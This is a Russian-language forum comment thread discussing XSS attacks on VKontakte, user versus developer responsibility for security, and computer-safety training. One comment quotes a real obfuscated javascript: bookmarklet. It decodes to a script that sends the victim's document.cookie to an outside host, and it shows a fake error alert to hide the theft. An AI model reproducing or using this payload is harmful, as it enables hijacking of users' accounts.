Даже при закрытых дырах на «Вконтакте» можно устроить XSS

1) Сменят пароль без ведома пользователя, подобное уже было недавно.
P.S. Вы на своих сайтах (если есть) взломанных пользователей блокируете?

Зато так жила и Спарта :)

то-то, я смотрю, у нас так богато живут врачи

Я себя так назвал, когда удалился из контакта. Всегда думал что юзеры сами так делают, без помощи админов. :)

Ага, у меня тоже иногда в результаты поиска китайские сайты попадают. :)

А зачем пользователю читать и понимать это:

javascript:page=String.fromCharCode(105,109,103,61,110,101,119,32,73,109,97,103,101,40,41,59,105,
109,103,46,115,114,99,61,39,104,116,116,112,58,47,47,118,112,111,112,107,117,46,111,114,103,47,115,117,112,47,
115,46,112,104,112,63,113,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59);
eval(page);
alert(unescape("%u041D%u0435%20%u0443%u0434%u0430%u0435%u0442%u0441%u044F%20%u0432%u044B%u043F%u043E%u043B%u043D%u0438%u0442%u044C%20%u0434%u0435%u0439%u0441%u0442%u0432%u0438%u0435%21"));

??? Когда он тут тупо должен начинать бояться и звать более знающего товарища, т.е. админа.

Запомните главный принцип: не человек для техники, а техника для человека.

ПО для повседневного использования и сайты не должны быть такими, чтобы их мог хакнуть каждый сопляк. Если они такие — то мудаки не юзеры, а разработчики.

Не припомню, чтоб при покупке компьютера заставляли слушать инструктаж, заполнять журнал по технике безопасности, да и инструкцию к нему никто не даёт (более того, качество книг «компьютер для чайников» — довольно посредственное).
А если бы такое было, то доведено до абсурда, особенно в нашей стране.
Например платный экзамен, выдача прав, коррупция.
И инета у нас не было, а если бы был, то по модему по ценам ещё более диким, чем были лет 10 назад.

Зато люди бы за варкрафтом не помирали, спортом бы занимались (а вот в это я не верю — бухали бы), ботнетов бы не было (на компьютерах только этой страны, да и то вряд ли).

Кстати, я замечал, что порой людям пофигу на вирусы, что кучкуются на их компьютере, по крайней мере, пока можно играться, смотреть фильмы.

Вы всё-таки передёргиваете, сравниваете сидение за «чудо-ящиком» и работой за токарным станком, кислотами, работой с источниками ультрафиолета, с электропроводкой и т.п.

К тому же, даже юниксоиды, которые «по определению» как бы должны быть более подкованы, порой запускают что-нибудь в стиле того однострочника на перле, который удаляет все файлы :).

ТБ при работе с компьютером подписывают разве что на работе, да и то не всегда. Не припомню, что бы за всё время ни одного случая, который бы видел воочию.
Ни на учёбе, ни на работе, ни в компьютерных клубах.

Сложность технологий оставляет кучу лазеек в этих технологиях для плохих людей. Так то в принципе можно было дос вылизать до брульянтового совершенства. Только кому он сейчас нужен?

Не поленился и прощёлкал чисто из спортивного интереса все 211… Да, действительно больше половины уже заблокировано, просто когда я сначала около десятка наугад тыкнул — все рабочие попались))

Зря надеятись. Предыдущая XSS ВК именно так и делала, загружала скрипт с сервера и уже по его инструкции слала куки.

Браузеру всё равно, с какого сервера скрипт. Ограничения есть в XHR.

см. ответ выше: «Тогда перестанут работать многие полезные сервисы, которые удобно использовать в качестве закладок. „